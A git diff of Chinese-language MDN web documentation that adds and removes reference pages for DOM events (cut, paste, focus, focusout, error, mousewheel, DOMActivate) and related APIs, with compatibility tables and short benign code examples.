+ + diff --git a/files/zh-cn/web/api/element/cut_event/index.html b/files/zh-cn/web/api/element/cut_event/index.html new file mode 100644 index 0000000000..48c024451a --- /dev/null +++ b/files/zh-cn/web/api/element/cut_event/index.html @@ -0,0 +1,159 @@ +--- +title: cut +slug: Web/Events/cut +tags: + - 事件 + - 剪贴板API + - 参考 +translation_of: Web/API/Element/cut_event +--- +
+

This page needs to be updated to match the currently specified behaviour. In the meantime please refer to the specification: https://www.w3.org/TR/clipboard-apis/#the-cut-action

+
+ +

cut 事件在将选中内容从文档中删除并将其添加到剪贴板后触发。

+ +

如果用户尝试对不可编辑内容执行剪切操作,则cut事件仍会触发,但事件对象不包含任何数据。

+ +

基本信息

+ +
+
规范
+
Clipboard
+
接口
+
{{domxref("ClipboardEvent")}}
+
是否冒泡
+
Yes
+
可取消默认行为
+
Yes
+
目标对象
+
{{domxref("DefaultView")}}, {{domxref("Document")}}, {{domxref("Element")}}
+
默认行为
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件对象(DOM树的顶层对象)。
type {{readonlyInline}}{{domxref("DOMString")}}事件的类型。
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡。
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可以取消。
clipboardData {{readonlyInline}}{{domxref("DataTransfer")}}剪贴板的内容。不仅仅是文本,还有文件和图片。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{CompatOpera(45)}}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
clipboardData{{compatChrome(58)}}{{compatChrome(58)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{CompatOperaMobile(45)}}{{ CompatUnknown() }}
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/element/domactivate_event/index.html b/files/zh-cn/web/api/element/domactivate_event/index.html new file mode 100644 index 0000000000..3185540e78 --- /dev/null +++ b/files/zh-cn/web/api/element/domactivate_event/index.html @@ -0,0 +1,108 @@ +--- +title: 'Element: DOMActivate event' +slug: Web/API/Element/Activate_event +tags: + - API + - 事件 + - 参考 +translation_of: Web/API/Element/DOMActivate_event +--- +

{{APIRef}}

+ +

{{Deprecated_Header}}

+ +

当元素被激活时发生,例如点击鼠标或键盘按键。

+ +

当元素被激活,如使用鼠标点击或使用键盘导航并激活至这个元素时, DOMActivate 事件被触发。

+ + + + + + + + + + + + + + + + +
+

Bubbles

+
+

Yes

+
+

Cancelable

+
+

Yes

+
+

Interface

+
+

{{domxref("MouseEvent")}}

+
+ +

示例

+ +
<svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseProfile="tiny"
+     xmlns:ev="http://www.w3.org/2001/xml-events"
+     width="6cm" height="5cm" viewBox="0 0 600 500">
+
+  <desc>Example: invoke an ECMAScript function from a DOMActivate event</desc>
+
+  <!-- ECMAScript to change the radius -->
+  <script type="application/ecmascript"><![CDATA[
+    function change(evt) {
+      var circle = evt.target;
+      var currentRadius = circle.getFloatTrait("r");
+      if (currentRadius == 100)
+        circle.setFloatTrait("r", currentRadius * 2);
+      else
+        circle.setFloatTrait("r", currentRadius * 0.5);
+    }
+  ]]></script>
+
+  <!-- Act on each DOMActivate event -->
+  <circle cx="300" cy="225" r="100" fill="red">
+    <handler type="application/ecmascript" ev:event="DOMActivate"> change(evt); </handler>
+  </circle>
+
+  <text x="300" y="480" font-family="Verdana" font-size="35" text-anchor="middle">
+    Activate the circle to change its size
+  </text>
+</svg>
+
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-DOMActivate', 'DOMActivate')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ +

{{Compat("api.Element.DOMActivate_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/error_event/index.html b/files/zh-cn/web/api/element/error_event/index.html new file mode 100644 index 0000000000..913caf76bf --- /dev/null +++ b/files/zh-cn/web/api/element/error_event/index.html @@ -0,0 +1,135 @@ +--- +title: error +slug: Web/Events/error +translation_of: Web/API/Element/error_event +--- +
{{APIRef}}
+ +

当一个资源加载失败或无法使用时,会在{{domxref("Element")}}对象上触发error事件。例如当脚本执行错误、或图片无法找到或图片无效时。

+ + + + + + + + + + + + + + + + + + + + +
Bubbles(支持冒泡)No
Cancelable(可撤销)No
Interface(接口){{domxref("Event")}} 或{{domxref("UIEvent")}}
Event handler property(事件处理程序属性){{domxref("GlobalEventHandlers/onerror", "onerror")}}
+ +

如果事件对象是从用户界面元素生成的,则它是一个{{domxref("UIEvent")}}实例;反之,它是一个{{domxref("Event")}}实例。

+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="controls">
+  <button id="img-error" type="button">生成图像error</button>
+  <img class="bad-img" />
+</div>
+
+<div class="event-log">
+  <label>Event log:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
+</div>
+ + + +

JS

+ +
const log = document.querySelector('.event-log-contents');
+
+const badImg = document.querySelector('.bad-img');
+badImg.addEventListener('error', (event) => {
+    log.textContent = log.textContent + `${event.type}: Loading image\n`;
+    console.log(event)
+});
+
+const imgError = document.querySelector('#img-error');
+imgError.addEventListener('click', () => {
+    badImg.setAttribute('src', 'i-dont-exist');
+});
+
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('UI Events', '#event-type-error')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.error_event")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/element/focus_event/index.html b/files/zh-cn/web/api/element/focus_event/index.html new file mode 100644 index 0000000000..4a93ee7726 --- /dev/null +++ b/files/zh-cn/web/api/element/focus_event/index.html @@ -0,0 +1,137 @@ +--- +title: focus +slug: Web/Events/focus +translation_of: Web/API/Element/focus_event +--- +

focus事件在元素获取焦点时触发. 这个事件和 focusin 最大的区别仅仅在于后者会事件冒泡.

+ +

基本信息

+ +
+
规范
+
DOM L3
+
接口
+
{{ domxref("FocusEvent") }}
+
是否冒泡
+
+
能否取消默认
+
+
事件目标
+
Element
+
默认行为
+
无.
+
+ +
注释: 这里的接口是指 {{ domxref("Event") }} prior to Gecko 24 {{ geckoRelease(24) }}. ({{ bug(855741) }})
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target (DOM element)
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)null
+ +

事件委托

+ +

此事件有两个可以实现事件委托的方法 : 通过在支持的浏览器上使用 focusin 事件 (除了Firefox之外的所有浏览器), 或者通过设置 addEventListener 的参数"useCapture" 值为true:

+ +

{{ EmbedLiveSample('Event_delegation', '', '', '', 'Web/Events/blur') }}

+ +

(Sample code from blur (event))

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatrueChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatVersionUnknown}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/element/focusout_event/index.html b/files/zh-cn/web/api/element/focusout_event/index.html new file mode 100644 index 0000000000..87a8a9bd48 --- /dev/null +++ b/files/zh-cn/web/api/element/focusout_event/index.html @@ -0,0 +1,125 @@ +--- +title: focusout +slug: Web/Events/focusout +translation_of: Web/API/Element/focusout_event +--- +

当元素即将失去焦点时,focusout 事件被触发。focusout 事件和 blur 事件之间的主要区别在于后者不会冒泡。

+ +

基本信息

+ +
+
Specification
+
DOM L3
+
Interface
+
{{domxref("FocusEvent")}}
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
Element
+
Default Action
+
None.
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(52)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(52)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/element/mousewheel_event/index.html b/files/zh-cn/web/api/element/mousewheel_event/index.html new file mode 100644 index 0000000000..599f17edbb --- /dev/null +++ b/files/zh-cn/web/api/element/mousewheel_event/index.html @@ -0,0 +1,181 @@ +--- +title: mousewheel +slug: Web/Events/mousewheel +translation_of: Web/API/Element/mousewheel_event +--- +

{{ Non-standard_header() }}

+ +

The mousewheel event is fired asynchronously when a mouse wheel or similar device is operated. It's represented by the {{ domxref("MouseWheelEvent") }} interface.

+ +
+

Do not use this wheel event.

+ +

This interface is non-standard and deprecated. It was used in non-Gecko browsers only. Instead use the standard {{event("wheel")}} event.

+
+ + + +

Specification

+ +

The document in MSDN: {{ spec("http://msdn.microsoft.com/en-us/library/ie/ms536951%28v=vs.85%29.aspx","onmousewheel event") }}

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatIE("6.0") }}{{ CompatOpera("10.00") }}{{ CompatSafari("3.0") }}
wheelDeltaX{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
wheelDeltaY{{ CompatChrome("1.0") }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatSafari("3.0") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaX{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
wheelDeltaY{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

detail value

+ +

The detail attribute value is always 0 except Opera (Presto).

+ +

Opera (Presto) sets almost the same value as Firefox (Gecko)'s DOMMouseScroll event's detail value which indicates the scroll amount by line. Negative value indicates to scroll to bottom or right. Positive value indicates to scroll to top or left.

+ +

On Mac, the value is computed from accelerated scroll amount.

+ +

On Linux, 2 or -2 is set per native wheel event.

+ +

wheelDelta, wheelDeltaX and wheelDeltaY value

+ +

The wheelDelta attribute value is an abstract value which indicates how far the wheel turned. If the wheel has rotated away from the user, it's positive, otherwise negative. This means that the delta value sign is different from DOM Level 3 Event's wheel. However, the meaning of the amount of these values is not the same between browsers. See following explanation for the detail.

+ +

IE and Opera (Presto) only support wheelDelta attribute and do not support horizontal scroll.

+ +

The wheelDeltaX attribute value indicates the wheelDelta attribute value along the horizontal axis. When a user operates the device for scrolling to right, the value is negative. Otherwise, i.e., if it's to left, the value is positive.

+ +

The wheelDeltaY attribute value indicates the wheelDelta attribute value along the vertical axis. The sign of the value is the same as the wheelDelta attribute value.

+ +

IE

+ +

The value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. It means that if the mouse wheel doesn't support high resolution scroll, the value is 120 per notch. The value isn't changed even if the scroll amount of system settings is page scroll.

+ +

Chrome

+ +

On Windows, the value is the same as the delta value of WM_MOUSEWHEEL or WM_MOUSEHWHEEL. And also, the value isn't changed even if the scroll amount of system settings is page scroll, i.e., the value is the same as IE on Windows.

+ +

On Linux, the value is 120 or -120 per native wheel event. This makes the same behavior as IE and Chrome for Windows.

+ +

On Mac, the value is complicated. The value is changed if the device that causes the native wheel event supports continuous scroll.

+ +

If the device supports continuous scroll (e.g., trackpad of MacBook or mouse wheel which can be turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari.

+ +

If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari.

+ +

This difference makes a serious issue for web application developers. That is, web developers cannot know if mousewheel event is caused by which device.

+ +

See WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail.

+ +

Safari

+ +

The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device.

+ +

Note: tested with the Windows package, the earliest available version was Safari 3.0 from 2007. It could be that earlier versions (on Mac) support the properties too.

+ +

Opera (Presto)

+ +

The value is always the detail attribute value ✕ 40.

+ +

On Windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page.

+ +

On Linux, the value is 80 or -80 per native wheel event. This is different from other browsers.

+ +

On Mac, the detail attribute value is computed from accelerated scroll amout of native event. The value is usually much bigger than Safari's or Chrome's value.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/name/index.html b/files/zh-cn/web/api/element/name/index.html deleted file mode 100644 index f1a247fd70..0000000000 --- a/files/zh-cn/web/api/element/name/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Element.name -slug: Web/API/Element/name -translation_of: Web/API -translation_of_original: Web/API/Element/name ---- -

{{ APIRef() }}

- -

概述

- -

name 获取或设置一个 DOM 对象的 name 属性;它只能应用于下列元素:{{ HTMLelement("a") }}, {{ HTMLelement("applet") }}, {{ HTMLelement("button") }}, {{ HTMLelement("form") }}, {{ HTMLelement("frame") }}, {{ HTMLelement("iframe") }}, {{ HTMLelement("img") }}, {{ HTMLelement("input") }}, {{ HTMLelement("map") }}, {{ HTMLelement("meta") }}, {{ HTMLelement("object") }}, {{ HTMLelement("param") }}, {{ HTMLelement("select") }}, and {{ HTMLelement("textarea") }}.

- -
-

需要注意的是,name 属性在其他类型元素上不存在。它不是 {{domxref("Element")}} 或 {{domxref("HTMLElement")}} 接口的一个属性。

-
- -

Name 可被使用于 {{ domxref("document.getElementsByName()") }} 方法,form 以及 the form elements collection。当使用于表单(form)或表单元素(form elements collection)时,可能返回一个单独的元素或一个元素集合。

- -

语法

- -
HTMLElement.name = string;
-var elName = HTMLElement.name;
-
-var fControl = HTMLFormElement.elementName;
-var controlCollection = HTMLFormElement.elements.elementName;
-
- -

例子

- -
<form action="" name="formA">
-  <input type="text" value="foo">
-</form>
-
-<script type="text/javascript">
-
-  // 获取表单中第一个元素的引用
-  var formElement = document.forms['formA'].elements[0];
-
-  // 设置一个 name
-  formElement.name = 'inputA';
-
-  // 显示 input 的 value 值
-  alert(document.forms['formA'].elements['inputA'].value);
-
-</script>
-
- -

备注

- -

在 IE6 中,使用 {{domxref("document.createElement()")}} 方法创建的 DOM 对象的 name 属性不能被更改。

- -

规范

- -

W3C DOM 2 HTML Specification:

- - diff --git a/files/zh-cn/web/api/element/onafterscriptexecute/index.html b/files/zh-cn/web/api/element/onafterscriptexecute/index.html deleted file mode 100644 index f1e976522e..0000000000 --- a/files/zh-cn/web/api/element/onafterscriptexecute/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: element.onafterscriptexecute -slug: Web/API/Element/onafterscriptexecute -tags: - - DOM - - onafterscriptexecute -translation_of: Web/API/Document/onafterscriptexecute ---- -
{{ApiRef}}{{gecko_minversion_header("2")}}
- -

概述

- -

当HTML文档中的{{HTMLElement("script")}}标签内的代码执行完毕时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

- -

语法

- -
document.onafterscriptexecute = funcRef;
-
- -

afterscriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

- -

例子

- -
function finished(e) {
-  logMessage("Finished script with ID: " + e.target.id);
-}
-
-document.addEventListener("afterscriptexecute", finished, true);
-
- -

查看在线演示

- -

规范

- - - -

相关链接

- - diff --git a/files/zh-cn/web/api/element/ongotpointercapture/index.html b/files/zh-cn/web/api/element/ongotpointercapture/index.html deleted file mode 100644 index 2ff983926f..0000000000 --- a/files/zh-cn/web/api/element/ongotpointercapture/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Element.ongotpointercapture -slug: Web/API/Element/ongotpointercapture -tags: - - API - - DOM - - Element - - Event Handler - - Pointer Events - - Property - - Reference - - 事件句柄 - - 元素 - - 属性 - - 引用 - - 指针事件 -translation_of: Web/API/GlobalEventHandlers/ongotpointercapture -translation_of_original: Web/API/Element/ongotpointercapture ---- -

{{ ApiRef("DOM") }}

- -

ongotpointercapture 是一个{{domxref("Element")}} 接口的{{domxref("EventHandler")}} 属性,返回一个{{event("gotpointercapture")}} 事件类型的事件句柄 (function) .

- -

语法

- -
var gotCaptureHandler = target.ongotpointercapture;
-
- -

Return value

- -
-
gotCaptureHandler
-
元素 target 的gotpointercapture 事件句柄。 .
-
- -

Example

- -
<html>
-<script>
-function overHandler(ev) {
- // Determine the target event's gotpointercapture handler
- var gotCaptureHandler = ev.target.ongotpointercapture;
-}
-function init() {
- var el=document.getElementById("target");
- el.onpointerover = overHandler;
-}
-</script>
-<body onload="init();">
-<div id="target"> Touch me ... </div>
-</body>
-</html>
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Pointer Events 2','#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events 2')}}无稳定版
{{SpecName('Pointer Events', '#widl-Element-ongotpointercapture', 'ongotpointercapture')}}{{Spec2('Pointer Events')}}Initial definition.
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
-
- -

[1] Implementation withdrawn. See {{Bug("1166347")}}.

- -

See also

- - diff --git a/files/zh-cn/web/api/element/paste_event/index.html b/files/zh-cn/web/api/element/paste_event/index.html new file mode 100644 index 0000000000..1fb088eddf --- /dev/null +++ b/files/zh-cn/web/api/element/paste_event/index.html @@ -0,0 +1,103 @@ +--- +title: 'Element: paste事件' +slug: Web/Events/paste +tags: + - Clipboard API + - Event + - Reference +translation_of: Web/API/Element/paste_event +--- +

 {{APIRef}}

+ +

当用户在浏览器用户界面发起“粘贴”操作时,会触发paste事件。

+ +
冒泡                 是
+
+可取消               是
+
+接口                 {{domxref("ClipboardEvent")}}
+
+事件处理属性          {{domxref("HTMLElement/onpaste", "onpaste")}}
+
+ +

如果光标位于可编辑的上下文中(例如,在 {{HTMLElement("textarea")}} 或者 contenteditable 属性设置为 true的元素),则默认操作是将剪贴板的内容插入光标所在位置的文档中。

+ +

事件处理程序可以通过调用事件的 clipboardData 属性上的 {{domxref("DataTransfer/getData", "getData()")}}访问剪贴板内容。

+ +

要覆盖默认行为(例如,插入一些不同的数据或转换剪贴板的内容),事件处理程序必须使用 {{domxref("Event/preventDefault", "event.preventDefault()")}},取消默认操作,然后手动插入想要的数据。

+ +

可以构造和分派合成的paste事件,但这不会影响文档内容。

+ +

举例

+ +

Live example

+ +

HTML

+ +
<div class="source" contenteditable="true">Try copying text from this box...</div>
+<div class="target" contenteditable="true">...and pasting it into this one</div>
+ +

CSS

+ +
div.source, div.target {
+    border: 1px solid gray;
+    margin: .5rem;
+    padding: .5rem;
+    height: 1rem;
+    background-color: #e9eef1;
+}
+
+ +

JS

+ +
const target = document.querySelector('div.target');
+
+target.addEventListener('paste', (event) => {
+    let paste = (event.clipboardData || window.clipboardData).getData('text');
+    paste = paste.toUpperCase();
+
+    const selection = window.getSelection();
+    if (!selection.rangeCount) return false;
+    selection.deleteFromDocument();
+    selection.getRangeAt(0).insertNode(document.createTextNode(paste));
+
+    event.preventDefault();
+});
+
+ +

Result

+ +

 {{EmbedLiveSample('Live_example', '100%', '100px')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.paste_event")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/elementcssinlinestyle/style/index.html b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html new file mode 100644 index 0000000000..2b825c80cc --- /dev/null +++ b/files/zh-cn/web/api/elementcssinlinestyle/style/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +translation_of: Web/API/ElementCSSInlineStyle/style +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

+ +

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

+ +

设置 style 属性

+ +

注意不能通过直接给style属性设置字符串(如:elt.style = "color: blue;")来设置style,因为style应被当成是只读的(尽管Firefox(Gecko), Chrome 和 Opera允许修改它),这是因为通过style属性返回的CSSStyleDeclaration对象是只读的。但是style属性本身的属性够用来设置样式。此外,通过单独的样式属性(如elt.style.color = '...')比用elt.style.cssText = '...' 或者 elt.setAttribute('style', '...')形式更加简便,除非你希望完全通过一个单独语句来设置元素的全部样式,因为通过style本身属性设置的样式不会影响到通过其他方式设置的其他css属性的样式。

+ +

例子

+ +
// 在单个语句中设置多个样式
+elt.style.cssText = "color: blue; border: 1px solid black";
+// 或者
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// 设置特定样式,同时保持其他内联样式值不变
+elt.style.color = "blue";
+
+ +

获取元素样式信息

+ +

通常,要了解元素样式的信息,仅仅使用 style 属性是不够的,这是因为它只包含了在元素内嵌 style 属性(attribute)上声明的的 CSS 属性,而不包括来自其他地方声明的样式,如 {{HTMLElement("head")}} 部分的内嵌样式表,或外部样式表。要获取一个元素的所有 CSS 属性,你应该使用 {{domxref("window.getComputedStyle()")}}。

+ +
<!DOCTYPE HTML>
+<html>
+<body style="font-weight:bold;">
+
+    <div style="color:red" id="myElement">..</div>
+
+ </body>
+</html>
+ +

下面的代码输出 style 所有属性的名字,以及为元素 elt 显式设置的属性值和继承的计算值(computed value):

+ +
var element = document.getElementById("myElement");
+var out = "";
+var elementStyle = element.style;
+var computedStyle = window.getComputedStyle(element, null);
+
+for (prop in elementStyle) {
+  if (elementStyle.hasOwnProperty(prop)) {
+    out += "  " + prop + " = '" + elementStyle[prop] + "' > '" + computedStyle[prop] + "'\n";
+  }
+}
+console.log(out)
+ +

输出结果如下:

+ +
...
+fontWeight = '' > 'bold'
+color = 'red' > 'rgb(255, 0, 0)'
+...
+
+ +

请注意,计算样式中font-weight的值为“bold”,元素的style属性中缺少该值

+ +

规范

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

兼容性

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/entity/index.html b/files/zh-cn/web/api/entity/index.html deleted file mode 100644 index 2e05365217..0000000000 --- a/files/zh-cn/web/api/entity/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Entity -slug: Web/API/Entity -translation_of: Web/API/Entity ---- -

{{APIRef("DOM")}} {{draft}} {{obsolete_header}}

- -

对DTD实体的只读引用. 也继承 {{domxref("Node")}} 的方法和属性。

- -

属性

- -
-
{{domxref("Entity.publicId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.systemId")}} {{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.notationName")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.inputEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlEncoding")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
{{domxref("Entity.xmlVersion")}}{{ReadOnlyInline}}
-
Is a {{domxref("DOMString")}}.
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM3 Core")}}inputEncoding, xmlEncoding, and xmlVersion were added
{{SpecName("DOM2 Core", "core.html#ID-527DCFF2", "Entity")}}{{Spec2("DOM2 Core")}}No change
{{SpecName('DOM1', 'level-one-core.html#ID-527DCFF2', 'Entity')}}{{Spec2('DOM1')}}Initial definition
diff --git a/files/zh-cn/web/api/event.altkey/index.html b/files/zh-cn/web/api/event.altkey/index.html deleted file mode 100644 index fb69717e99..0000000000 --- a/files/zh-cn/web/api/event.altkey/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: event.altKey -slug: Web/API/event.altKey -translation_of: Web/API/MouseEvent/altKey -translation_of_original: Web/API/event.altKey ---- -

{{ ApiRef() }}

-

概述

-

表明当事件触发时,ALT键是否处于按下的状态.

-

语法

-
event.altKey
-
-

例子

-
var bool = event.altKey;
-
-

如果当事件触发时,ALT键处于按下的状态,则bool的值为true,否则为false.

-
<html>
-<head>
-<title>altKey 示例</title>
-
-<script type="text/javascript">
-
-function showChar(e){
-  alert(
-    "按下的键: " + String.fromCharCode(e.charCode) + "\n"
-    + "charCode: " + e.charCode + "\n"
-    + "是否按下ALT键: " + e.altKey + "\n"
-  );
-}
-
-</script>
-</head>
-
-<body onkeypress="showChar(event);">
-<p>
-按下一个字符键,尝试同时按下ALT键.<br />
-你也可以同时按下SHIFT键和ALT键.
-</p>
-</body>
-</html>
-
-

规范

-

DOM Level 2 Events - property of MouseEvent object

-

{{ languages( { "ja": "ja/DOM/event.altKey", "pl": "pl/DOM/event.altKey", "en": "en/DOM/event.altKey" } ) }}

diff --git a/files/zh-cn/web/api/event.button/index.html b/files/zh-cn/web/api/event.button/index.html deleted file mode 100644 index c75916a287..0000000000 --- a/files/zh-cn/web/api/event.button/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: event.button -slug: Web/API/event.button -translation_of: Web/API/MouseEvent/button -translation_of_original: Web/API/event.button ---- -

{{ ApiRef() }}

-

概述

-

表明当前事件是由鼠标的哪个按键触发的.

-

语法

-
event.button
-
-

例子

-
var buttonCode = event.button;
-
-

该属性返回一个整数值,代表触发当前事件的鼠标按键.在通常情况下,对应关系如下:

- -
- 注意: IE不遵守 See QuirksMode for details.
-

